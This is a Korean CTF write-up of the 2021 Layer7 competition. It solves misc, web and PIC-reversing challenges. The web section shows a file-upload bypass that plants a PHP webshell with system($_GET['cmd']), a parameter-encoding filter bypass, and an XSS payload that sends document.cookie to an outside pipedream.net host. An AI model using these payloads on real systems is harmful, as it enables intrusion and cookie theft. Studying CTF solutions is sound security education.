CTF Writeup

2021 Layer7 CTF 후기 / Writeup

LittleDev0617 2021. 11. 25. 00:48

선린인터넷고 Layer7에서 11/20 오전 9시부터 밤 12시까지 대회를 진행하였다.

작년엔 고등부 3위를 했었는데, 올해는 2위를 하게 되었다.

아침 9시에 학교에서 모임이 있어서 학교에서 웹 하나 풀고 1시에 집가서 대회를 진행하였다.

수상만 하자라는 생각이었는데 생각보다 오랜 시간 1등을 차지해서 괜히 욕심났지만 결ㄹ국 11시 반쯤 2위가 되었따.

요약하면 Easy_Rev (Rev) 문제랑 PocketMon (Pwn) 문제가 솔버가 많았는데 못 풀어서 1등을 못 했다.

그 대신 2솔버 문제 Time is Ticking... 을 풀었는데, 이 문제가 가장 재밌었던 것 같다.

작년에는 포너블 리버싱 VM문제를 재밌게 풀었는데, 올해는 리버싱 문제를 재밌게 풀었다.

또 웹 문제들도 재밌게 풀었다.

 

1. MISC

1) MIC CHECK

FLAG : LAYER7{2021수능만점기원}

 

2. easy_calc

처음 봤을때 좀 어색하다 싶었는데 보다보니 어디서 본 듯한 형식이다.

https://www.youtube.com/watch?v=3doWeqpD5gk 

 

여담으로 위 영상을 본 적이 있는데, 이 영상에서 후위표기법에 대해 다룬다.

아무튼 그래서 후위표기법을 연산하는 과정을 보니 다음과 같았다.

스택 방식으로 연산자를 만나기 전까지 숫자를 스택에 넣고,

연산자를 만나면 스택의 두 숫자를 pop 해서 연산한 후 다시 스택에 push한다.

이를 파이썬으로 구현하면 다음과 같다.

from pwn import * 
context.log_level = 'debug'
p = remote('ctf.layer7.kr', 19308)

for i in range(1,100):
	p.recvuntil('stage ' + str(i) + ' : ')
	exp = p.recvuntil('\n')[:-1]
	log.info(exp)
	n = []
	for c in exp:
		if c in ['+','-','/','*']:
			b,a = n.pop(), n.pop()
			n.append(eval('a' + c + 'b'))
		else:
			n.append(int(c))

	p.sendline(str(n.pop()))
p.interactive()

FLAG : LAYER7{yOur_po5tF1x_Ca1c_Ma5T3r!}

 

3) Flag is an open door

One
Two
Whole

nc에 접속하면 위 회로의 최종 출력이 1이 나오게 하는 비트를 설정하라는 말인 것 같다.

이렇게 푸는게 맞는지 모르겠지만 암튼 거꾸로 가면서 고정적인 비트랑 내가 맘대로 설정할ㄹ 수 있는 곳이 있길래 이리저리 설정했다.

덕분에 논리 게이트를 외워버려ㅑㅆ다. ㅋㅋ

설정한 비트가 1을 출력하는지 확인하는 코드도 짜봤다.

b = list(map(int,list('1110010111')))
b2 = list(map(int,list('0111111111')))
one1 = (b[0] & b[1]) ^ (not (b[2] ^ b[5]))
one2 = int((not(b[2] | (b[3] & b[4]))) & (b[1] ^ (not (b[6] & b[7]))))
one3 = int(not ((b[3] & b[4]) | (b[9])) | ((b[7] | b[8]) & b[9]))

two1 = int(not ((not (b2[0] ^ b2[5])) ^ (b2[3] ^ b2[9])))
two2 = (b2[1] & b2[8]) & (not (not (b2[1] & b2[4])))
two3 = int(not ((b2[2] | b2[7]) & (b2[5])))
two4 = int((b2[6] | b2[8]) ^ (b2[2] ^ b2[9]))

print(one1)
print(one2)
print(one3)
print()
print(two1)
print(two2)
print(two3)
print(two4)

FLAG : LAYER7{D1d_y0u_do_th1s_by_hand?_H0p3_N0t_HAHA}

 

2. WEB

1) Handmade

import socket
import urllib.parse
import os.path
import mimetypes

from response_form import *
from threading import Thread

def parse_http_request(req_data):
    req_data = req_data.split('\r\n\r\n')
    headers = req_data[0].split('\r\n')
    body = req_data[1]

    req_line = headers[0].split(' ') # GET /foo HTTP/1.1
    retval = {
        'method': req_line[0].upper(),
        'uri': urllib.parse.urlparse(req_line[1]),
        'protocol': req_line[2],
        'headers': {},
        'body': body
    }
    headers.pop(0)

    for header in headers:
        header = header.split(':')
        key = header[0].strip()
        retval['headers'][key] = header[1].lstrip()

    return retval

def make_response(req_data):
    try:
        method = req_data['method']
        req_uri = req_data['uri'].path
        qstring = req_data['uri'].query

        if method not in ALLOWED_METHOD:
            return not_allow_method(ALLOWED_METHOD)

        if method == 'GET':
            doc_path = DOCUMENT_DIR + req_uri

            if os.path.isdir(doc_path) and doc_path[::-1][0] != '/':
                doc_path += '/'
            if os.path.basename(doc_path) == '':
                doc_path += 'index.html'
            if not os.path.isfile(doc_path):
                return not_found()

            content = open(doc_path, 'rb').read()
            content_type = mimetypes.guess_type(doc_path)[0]

    except Exception as err:
        return internal_server_error(err)

    return normal_response(content, content_type)

def process(client, addr):
    try:
        req = client.recv(65535).decode()
        req_data = parse_http_request(req)
        res = make_response(req_data)
    except:
        res = bad_request()

    client.send(res)
    client.close()

    print(addr[0], req_data['method'], req_data['uri'], flush=True)
    print('closed', flush=True)
    return

if __name__ == '__main__':
    HOST, PORT = '0.0.0.0', 8081
    DOCUMENT_DIR = '/service/htdocs'
    ALLOWED_METHOD = ['GET']

    sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
    sock.bind((HOST, PORT))
    sock.listen()

    print(f"server started {HOST}:{PORT}", flush=True)

    while True:
        try:
            (client, addr) = sock.accept()
            Thread(target=process, args=(client, addr, )).start()
            print('connection', flush=True)

        except Exception as err:
            print(err, flush=True)
            break

    sock.close()

http request가 GET Method면 req_uri를 doc_path에 그대로 붙인 후 open 해서 읽어준다.

FLAG : LAYER7{1e3047432d00a223a3d2d62944b199df}

 

2) Selfmade

handmade 리벤지 느낌이다.

import socket
import urllib.parse
import os.path
import mimetypes
import json
import re
import requests

from response_form import *
from threading import Thread

requests.packages.urllib3.disable_warnings(
    requests.packages.urllib3.exceptions.InsecureRequestWarning
)

def check_params(params):
    if params.strip() == '':
        return True
    params = dict((item.split('=')[0], item.split('=')[1]) for item in params.split('&'))

    if 'no' in params:
        if not params['no'].isdigit():
            return False
    if 'url' in params:
        if not (params['url'].startswith('http://') or params['url'].startswith('https://')):
            return False
    return True

def parse_http_request(req_data):
    req_data = req_data.split('\r\n\r\n')
    headers = req_data[0].split('\r\n')
    body = req_data[1]

    req_line = headers[0].split(' ') # GET /foo HTTP/1.1
    retval = {
        'method': req_line[0].upper(),
        'uri': urllib.parse.urlparse(req_line[1]),
        'protocol': req_line[2],
        'headers': {},
        'body': body
    }
    headers.pop(0)

    for header in headers:
        header = header.split(':')
        key = header[0].strip()
        retval['headers'][key] = header[1].lstrip()

    return retval

def make_response(req_data):
    try:
        method = req_data['method']
        req_uri = req_data['uri'].path
        qstring = req_data['uri'].query

        if not check_params(qstring):
            return normal_response('403 forbidden')
        if method not in ALLOWED_METHOD:
            return not_allow_method(ALLOWED_METHOD)

        if method == 'GET':
            doc_path = DOCUMENT_DIR + '/' + os.path.basename(req_uri)

            if os.path.basename(req_uri) == '':
                doc_path += 'index.html'

            if not os.path.isfile(doc_path):
                return not_found()

            content = open(doc_path).read()
            content_type = mimetypes.guess_type(doc_path)[0]

        if method == 'POST':
            post_body = req_data['body']

            if 'Content-Type' in req_data['headers']:
                if req_data['headers']['Content-Type'] == 'application/json':
                    body = json.loads(req_data['body'])
                    post_body = urllib.parse.urlencode(body)

            if not check_params(post_body):
                return normal_response('403 forbidden')

            data = urllib.parse.parse_qs(post_body)

            if req_uri == '/read':
                if 'no' not in data:
                    content = json.dumps({"message": "Enter the 'no' parameter."})
                    return normal_response(content, 'application/json')

                content_file = CONTENT_DIR + '/' + data['no'].pop()
                if not os.path.isfile(content_file):
                    return not_found()

                content = {"status": "ok", "result": open(content_file).read()}
                return normal_response(content, 'application/json')

            elif req_uri == '/proxy':
                if 'url' not in data:
                    content = json.dumps({"message": "Enter the 'url' parameter."})
                    return normal_response(content, 'application/json')

                try:
                    proxy_response = requests.get(data['url'].pop(), allow_redirects=False, verify=False, timeout=1).text
                    content = json.dumps({"status": "ok", "result": proxy_response})
                except:
                    content = json.dumps({"status": "fail", "result": "timeout"})
                return normal_response(content, 'application/json')

            else:
                return not_found()

    except Exception as err:
        return internal_server_error(err)

    return normal_response(content, content_type)

def process(client, addr):
    try:
        req = client.recv(65535).decode()
        req_data = parse_http_request(req)
        res = make_response(req_data)
    except:
        res = bad_request()

    client.send(res.encode())
    client.close()

    print(addr[0], req_data['method'], req_data['uri'], flush=True)
    print('closed', flush=True)
    return

if __name__ == '__main__':
    HOST, PORT = '0.0.0.0', 8080
    DOCUMENT_DIR = '/service/htdocs'
    CONTENT_DIR = '/service/contents'
    ALLOWED_METHOD = ['GET', 'POST']

    sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
    sock.bind((HOST, PORT))
    sock.listen()

    print(f"server started {HOST}:{PORT}", flush=True)

    while True:
        try:
            (client, addr) = sock.accept()
            Thread(target=process, args=(client, addr, )).start()
            print('connection', flush=True)

        except Exception as err:
            print(err, flush=True)
            break

    sock.close()

check_params를 통해서 적절한 필터링을 해준다.

GET Method에서는 basename() 을 쓰기 때문에 안되고, POST의 proxy도 딱히 의미 없어보인다.

POST의 /read 부분을 보면 check_params만 잘 우회하면 handmade처럼 파일을 읽어올 수 있어보인다.

if not check_params(post_body):
	return normal_response('403 forbidden')

data = urllib.parse.parse_qs(post_body)

부분을 보면 검사는 check_params로 하고 결국 데이터를 뽑는건 urllib.parse.parse_qs 이다.

이 말은 parse_qs가 해주는 기능을 check_params가 안해주면 우회할 수 있다는 말이기에 이것저것 테스트해보았다.

처음에는 no[]=1 를 하면 urllib은 no=[1] 로 파싱할 줄 알았는데, urllib은 "no[]" = [1] 로 봤다.

다음으로 url encoding을 해보자 해서 했는데 잘 됐다.

no 를 %6eo로 바꾸면 check_params에선 %6eo로 인식하고 우회되지만 parse_qs에선 no로 인식된다.

위와같이 POST 보내면

{'status': 'ok', 'result': 'LAYER7{623005611a405b69743aa7d2a679eab0}\n'}

FLAG : LAYER7{623005611a405b69743aa7d2a679eab0}

 

3) Easy Web

학교에서 푼 문제이다.

upload.php, view.php 가 있는데 view.php?file=../upload.php 처럼 LFI가 터진다.

<?php

    error_reporting( E_ALL );
    ini_set( "display_errors", 0 );

    include('./includes/func.php');
    
    $uploads_dir = './uploads';
    $allowed_ext = array('jpeg','png');

    if($_FILES['upload_file']){
        $file = $_FILES['upload_file'];
        if(filesize($file['tmp_name']) > (10 * 1024)){
            echo "Too large..<br><a href='index.php'>index</a>";
        }
        else{
            $ext = filename_ext_parse($file['name']);
            if(!$ext){
                $ext = filetype_ext_parse($file['type']);
                if($ext){
                    $filename = gen_filename($ext);
                    if(filtering($file['tmp_name'])){
                        echo "Error<br><a href='index.php'>index</a>";
                    }
                    else{
                        move_uploaded_file($file['tmp_name'], "$uploads_dir/$filename");
                        chmod("$uploads_dir/$filename", 0777);
                        echo "Upload success!!<br>your file is here ->  <a href='view.php?file=$filename'>your_file</a>";
                    }
                }
                else{
                    echo "Error<br><a href='index.php'>index</a>";
                }
            }
            else if(in_array($ext, $allowed_ext)){
                $filename = gen_filename($ext);
                if(filtering($file['tmp_name'])){
                    echo "Error<br><a href='index.php'>index</a>";
                }
                else{
                    move_uploaded_file($file['tmp_name'], "$uploads_dir/$filename");
                    chmod("$uploads_dir/$filename", 0777);
                    echo "Upload success!!<br>your file is here -> <a href='view.php?file=$filename'>your_file</a>";
                }
            }
            else{
                echo "Error<br><a href='index.php'>index</a>";
            }
        }
        
    }
    
?>
<!DOCTYPE html>
<html>
    <head>
        <meta charset="utf-8">
        <title>Hi!</title>
    </head>
    <body>
        <form action="upload.php" method="post" enctype="multipart/form-data">
            file: <input type="file" name="upload_file" accept="image/png, image/jpeg"><br>
            <input type="submit" name="submit" value="submit">
        </form>
    </body>
</html>

uploads.php이다.

includes/func.php 를 확인한다.

<?php
    error_reporting( E_ALL );
    ini_set( "display_errors", 0 );
    
    function filename_ext_parse($input){
        if(strpos($input, '.')){
            $tmp = explode('.', $input);
            return $tmp[1];
        }
        else{
            return null;
        }
    }
    function filetype_ext_parse($input){
        if(strpos($input, '/')){
            $tmp = explode('/', $input);
            if($tmp[0] != "image"){
                return null;
            }
            return $tmp[1];
        }
        else{
            return null;
        }
    }
    function gen_filename($ext){
        return md5(random_bytes(32)) . '.' . $ext;
    }
    function filtering($filename){
        return strpos(file_get_contents($filename), '<?');
    }
?>

웹쉘 업로드 문제인 것 같다.

		$ext = filename_ext_parse($file['name']);
            if(!$ext){
                $ext = filetype_ext_parse($file['type']);
                if($ext){
                    $filename = gen_filename($ext);
                    if(filtering($file['tmp_name'])){
                        echo "Error<br><a href='index.php'>index</a>";
                    }
                    else{
                        move_uploaded_file($file['tmp_name'], "$uploads_dir/$filename");
                        chmod("$uploads_dir/$filename", 0777);
                        echo "Upload success!!<br>your file is here ->  <a href='view.php?file=$filename'>your_file</a>";
                    }
                }
                else{
                    echo "Error<br><a href='index.php'>index</a>";
                }
            }
            else if(in_array($ext, $allowed_ext)){
                $filename = gen_filename($ext);
                if(filtering($file['tmp_name'])){
                    echo "Error<br><a href='index.php'>index</a>";
                }
                else{
                    move_uploaded_file($file['tmp_name'], "$uploads_dir/$filename");
                    chmod("$uploads_dir/$filename", 0777);
                    echo "Upload success!!<br>your file is here -> <a href='view.php?file=$filename'>your_file</a>";
                }
            }

 

 

먼저 파일 확장자가 있는지 없는지에 따라 분기를 나눈다.

확장자가 있으면 whitelist 방식으로 확장자를 검사하고, 없으면 file type을 이용해 확장자를 결정한다.

우선 화이트 리스트 검증을 우회하긴 힘들어 보이니 위의 분기를 생각한다.

filetype_ext_parse 함수를 보면 /로 나눈 후 image/~~~ 형식이면 ~~을 리턴한다.

image/php 하면 확장자가 php가 되는 것이다.

또 filtering 함수에서 <?php strpos를 리턴하는데 이는 1번째 인덱스에 위치시키면 우회된다.

업로드가 성공적으로 된다.

php는 

 <?php
 system($_GET["cmd"]);
 ?>

로 한다.

.php?cmd=cd / && ls
.php?cmd=cd / && cat dont_guess_flag_location_and_name_haha.txt

FLAG : Layer7{V3ry_3A$y_4nD_$IMP1e_WE85h3lL_Ch411EN6E!!}

 

4) My little markdown parser

이 문제도 view.php 에서 ?filename=~~ LFI 터진다.

report.php가 있다. 아마 XSS 같다.

<?php
    error_reporting( E_ALL );
    ini_set( "display_errors", 0 );
    
    include('./includes/parse.php');
    $parse = new  markdown();
    $filename = md5(random_bytes(32));
    $fp = fopen('./uploads/' . $filename,'w');
    fwrite($fp, $parse->test($_POST['contents']));
    fclose($fp);
    echo "<p>write success</p><p>your file name is {$filename}</p><br><a href=view.php>view</a>";
?>
<?php
    error_reporting( E_ALL );
    ini_set( "display_errors", 0 );

    class markdown{
        function remove_space($arr){
            for($i = 0; $i < count($arr); $i++){
                $arr[$i] = preg_replace('/\r\n|\r|\n/', '', $arr[$i]);
            }
            return $arr;
        }
        function test($input){
            $res = "";
            $line = explode("\n", $input);
            $line = $this->remove_space($line);
            for($i = 0; $i < count($line); $i++){
                $res .= $this->tag_check($line[$i]);
            }
            
            return $res;
        }
        function tag_check($input){
            if(preg_match('/^\#/',$input)){
                if(strpos(' ', $input)){
                    return "<p>parsing error</p>";
                }

                $h_num = strlen($input) - 1 - strrpos(strrev($input), ' ');
                if($h_num > 6){
                    return "<p>parsing error</p>";
                }
                if(!preg_match("/\#{" . $h_num . "}/", $input)){
                    return "<p>parsing error</p>";
                }
                $contents = substr($input, strrpos($input, ' '), strlen($input));
                $h1 = '<h' . $h_num . '>' . htmlspecialchars($contents) . '</h' . $h_num . '>';
                return $h1;
            }
            else if(preg_match('/^\*\*/',$input)){
                $contents = substr($input, 2, strlen($input)-4);
                return "<strong>" . htmlspecialchars($contents) . "</strong>";
            }
            else if(preg_match('/^\*/',$input)){
                $contents = substr($input, 1, strlen($input)-2);
                return "<em>" . htmlspecialchars($contents) . "</em>";
            }
            else if(preg_match('/^\`\`\`(.*?)\`\`\`/',$input)){
                $contents = substr($input, 3, strlen($input)-6);
                return "<code>" . htmlspecialchars($contents) . "</code>";
            }
            else if(preg_match('/^\!\[([A-Za-z0-9_\/\:\.]*)\]\(([A-Za-z0-9_\/\:\.]*)\)/',$input)){
                $alt_res = null;
                $src_res = null;
                if(substr_count($input, ']') < 2){  
                    $alt_res = substr($input, strrpos($input, '[') + 1, strrpos($input, ']') - strrpos($input, '[') - 1);
                }
                if(substr_count($input, ')') < 2){
                    $src_res = substr($input, strrpos($input, '(') + 1, strrpos($input, ')') - strrpos($input, '(') - 1);
                }
                if($src_res && $alt_res){
                    return "<img src='" . $src_res . "' alt='" . $alt_res . "'>";
                }
                else{
                    return "<p>parsing error</p>";
                }
            }
            else{
                return "<p>" . htmlspecialchars($input) . "</p>";
            }
        }
        
    }
?>

parse 코드를 분석한다.

image tag 생성 부분에서만 htmlspecialchars()를 안쓰는 것을ㄹ 보아 저부분을 봐야할 것 같다.

strrpos를 통해 처리를 하고, substr_count를 ]와 )만 체크한다.

원래라면

![alt](http://www.naver.com)

<img src="http://www.naver.com" alt="alt">

겠지만,

![a](b)[test

처럼 [를 뒤에 추가해주면 strrpos 인덱스가 꼬여서 substr의 length 부분이 음수가 된다.

처음알았는데 substr의 length가 음수면 따로 처리를 해주었다.

substr(str,2,-2) 면 str의 2번 인덱스에서 끝에서 2번째 전까지 자르는 것이다.

![a](b)['onerror='location.href="https://enj5bt787s2lmnv.m.pipedream.net/"+document.cookie;12345

FLAG : Layer7{xss_WiTh_MY_FAUl7_in_m@RkDoWN!!}

 

3. Reversing

1) Time is Ticking..

 

오우... 재밌어보였다.

schematic.png

오우... 더 재밌어 보인다.

Button_Timestamp.txt

00 [Clicked]
01 [Clicked]
01 [Clicked]
01 [Clicked]
01 [Clicked]
01 [Clicked]
07 [Clicked]
14 [Clicked]
14 [Clicked]
15 [Clicked]
15 [Clicked]
15 [Clicked]
...
183 [Clicked]
183 [Clicked]
183 [Clicked]
189 [Clicked]

Source_Code.c

#define _XTAL_FREQ 8000000
volatile unsigned char c = 0;
volatile unsigned int a = 0;
volatile unsigned char b = 0;
volatile unsigned char d = 0;

void print(unsigned char num){
  PORTB = num << 1;
}

void main() {
     TMR0 = 178;
     T0IF_bit = 0;
     INTCON = 0b10110000;
     TRISB = 0b00000001;
     OPTION_REG = 0b10000110;
     PORTB = 0;
     while(1){
       if(d == 1){
         print(b);
         b = 0;
         d = 0;
         c = 0;
       }
      }
}
void interrupt(){
     if(INTF_bit){
       c += 1;
       INTF_bit = 0;
     }
     if(T0IF_bit){
       a += 1;
       if(a % 400 == 0){
         b += c;
       }
       if(a == 2800){ 
         b += 30;
         d = 1;
         a = 0;
       }
       TMR0 = 179;
       T0IF_bit = 0;
     }
}

PIC는 처음 본다.

지금까지 아두이노만 해봤는데 오우.. 재밌어 보인다.

대충 회로를 봤을때 LED 7개 연결하고 버튼이 연결되어있다. 

LED로 아스키값을 비트로 표시해주는걸 알아내면 되는 것 같다.

 

https://blog.naver.com/ubicomputing/150120792778

 

[PIC 마이컴 실험하기] 7. PIC 타이머와 카운터 (Part 1)

PIC MCU는 타이머라고 불리우는 한개 이상의 정밀한 타이밍 시스템을 가지고 있습니다. 이 타이머들...

blog.naver.com

https://blog.naver.com/PostView.naver?isHttpsRedirect=true&blogId=x_tough_x&logNo=140014824113

 

[펌] PIC 강좌<<- 4. 타이머 / 카운터 ->>

3장 인터럽트 설명에서 봤겠지만 Timer 인터럽트는 총 3가지를 설명 하겠다. 기준은 PIC16C74 가 될수...

blog.naver.com

위 두 블로그를 자세히 읽으면서 코드를 분석했다.

#define _XTAL_FREQ 8000000
TMR0 = 178;				//타이머 프리로딩
T0IF_bit = 0;			//버튼 트리거
INTCON = 0b10110000;	//TMR0 Overflow -> T0IF / Button -> INTF
TRISB = 0b00000001;		//LED, Button INPUT/OUTPUT
OPTION_REG = 0b10000110;	//Prescaler 1:128
PORTB = 0;

TRISB 는 입출력을 설정해준다고 한다.

RBA0 으로 버튼 입력을 받으니 0번 비트를 1로 설정하고 나머지 1~7 비트는 0으로 설정해분 것을 볼 수 있다.

 

INTCON 은 인터럽트 세팅을 해준다고 한다.

GIE는 무조건 설정하고, T0IE를 설정하여 TMR0(8비트)이 오버플로우(255 + 1) 될때마다 T0IF를 1로 세팅하게끔 한다.

또 INTE를 설정하여 INT 핀과 연결된 버튼으로부터 인터럽트를 받는 것도 볼 수 있다.

OPTION 레지스터에서는 프리스케일러를 설정해주는데, bit 3을 클리어해 TMR0를 사용하도록 하고,

bit 2 1 0을 101로 세팅해 1:128 로 설정한다.

//128 : 프리스케일러 비율값, 179: TMR0 프리로딩 값, 8000000 : 클럭

//8000000 / 4 = 2

// 2 / 128 = 15.625kHz

// 15.625/(256-179) == 약 200Hz

// 1 / 200 * 1000 = 5ms

블로그 글을 참고해 계산하면 TMR0이 오버플로우될때마다 약 5ms가 흐른다는 것을 알 수 있다.

void interrupt(){
     if(INTF_bit){	//버튼 클릭 
       c += 1;
       INTF_bit = 0;
     }
     if(T0IF_bit){	// TMR0 256 overflow 
       a += 1;
       if(a % 400 == 0){ //5ms * 400 = 2sec
         b += c;
       }
       if(a == 2800){ // 5ms * 2800 = 14sec
         b += 30;
         d = 1;
         a = 0;
       }
       TMR0 = 179;
       T0IF_bit = 0;
     }
}

인터럽트 코드를 보면 버튼 클릭할때마다 c++해준다.

또 T0IF_bit == 1, 즉 TMR0이 오버플로우 될때 a++한다.

a % 400, a == 2800 분기는 5ms * 400 = 2sec, 5ms * 2800 = 14sec 즉 2초마다 , 14초마다 실행되는 분기임을

알 수 있다.

14초마ㅏ다 d가 1이되니 14초마다 LED를 킨다는 것도 알 수 있다.

void print(unsigned char num){
  PORTB = num << 1;
}
f = open('./Button_Timestamp.txt')
lines = f.readlines()
clicked = {}

p_time = 0
cnt = 0
for line in lines:
    time = int(line.split(' ')[0])
    if time != p_time:
       clicked[str(p_time)] = cnt
       cnt = 0
    cnt += 1
    p_time = time

b=0
c=0

for sec in range(0,190):
    if str(sec) in clicked:
        c += clicked[str(sec)]
    
    if (sec+1) % 2 == 0 and sec != 0:
        b += c
    
    if (sec+1) % 14 == 0 and sec != 0:
        b += 30
        print(chr(b),end='')
        c = 0
        b = 0

우선 한 초에 버튼을 여러번 클릭하므로 각 초마다 버튼을 몇번 클릭했는지 딕셔너리로 저장한다.

FLAG : LAYER7{Emb3d!}